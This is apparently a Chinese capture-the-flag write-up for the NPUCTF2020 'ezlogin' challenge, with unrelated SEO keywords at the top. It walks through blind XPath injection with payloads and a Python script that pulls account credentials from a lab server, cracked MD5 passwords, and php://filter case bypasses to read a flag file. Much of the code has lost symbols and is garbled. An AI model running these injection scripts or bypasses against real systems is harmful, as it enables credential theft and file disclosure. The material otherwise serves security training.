长春网站建设,百度应用下载安装,学服装设计后悔了,做网站.服务器怎么买[NPUCTF2020]ezlogin
打开界面 如果发现自己输入的信息由这样构成#xff0c;可以往xpath注入上靠一下。 不管输入什么#xff0c;很容易发现登陆就超时了#xff0c;说明这里token是不断刷新的。 这样构造也是一样的目的都是为了闭合后面的#xff0c;为啥有两个or呢
us…[NPUCTF2020]ezlogin
打开界面 如果发现自己输入的信息由这样构成可以往xpath注入上靠一下。 不管输入什么很容易发现登陆就超时了说明这里token是不断刷新的。 这样构造也是一样的目的都是为了闭合后面的为啥有两个or呢
username or count(/)1 or 11 and password1
false or true or true and false ,如果是两个 false or true and false 不就是false了吗
这条命令是判断根目录有几个结点
通过不同的回显这道题采用盲注的手段通过回显位来判断。 一、获取根目录名字 or substring(name(/*[1]), {}, 1){} or /usernamepassword3123/passwordtoken{}/token 二、获取根目录上面的目录个数 依次类推就可以判断n次目录下面的 子目录
三、获取目录名字的长度
or string-length(name(/*[1]))4 or
这样xpath基本操作就都了解了 id: or substring(name(/root/accounts/user/*[1]), {}, 1){} or or username: substring(name(/root/accounts/user/*[2]), {}, 1){} or or password: substring(name(/root/accounts/user/*[3]), {}, 1){} or import requests
import re
import time
s requests.session()
url http://50869d19-fe92-4610-9af0-a294499acdf9.node4.buuoj.cn:81/login.php
head {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36,Content-Type: application/xml
}
find re.compile(input typehidden idtoken value(.*?) /)
strs ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
flag
for i in range(1,100):for j in strs:r s.post(urlurl)token find.findall(r.text)#猜测根节点名称#payload_1 usernameor substring(name(/*[1]), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])#猜测子节点名称# payload_2 usernameor substring(name(/root/*[1]), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])## #猜测accounts的节点# payload_3 usernameor substring(name(/root/accounts/*[1]), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])## #猜测user节点#payload_4 usernameor substring(name(/root/accounts/user/*[3]), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])## #跑用户名和密码# payload_username usernameor substring(/root/accounts/user[2]/username/text(), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])#payload_password usernameor substring(/root/accounts/user[2]/password/text(), {}, 1){} or /usernamepassword3123/passwordtoken{}/token.format(i,j,token[0])#print(payload_password)r s.post(urlurl,headershead,datapayload_password)time.sleep(0.2)print(r.text)if 非法操作 in r.text:flagjprint(flag)breakif 用户名或密码错误! in r.text:breakprint(flag) 一般都是md5存储数据的解密得到 adm1n gtfly123 cf7414b5bdb2e65ee43083f4ddbc4d9f 有的时候会因为网络报错加一个time.sleep就可以了。 进入后发现file可能有路径穿越漏洞或者任意文件读取漏洞
然后下面base64解码得到flag in /flag
直接用filter读取协议试一下 phP://filter/convert.bAse64-encode/resource/flag PHP://filter/string.toupper/resource/flag 转换为大写都可以绕过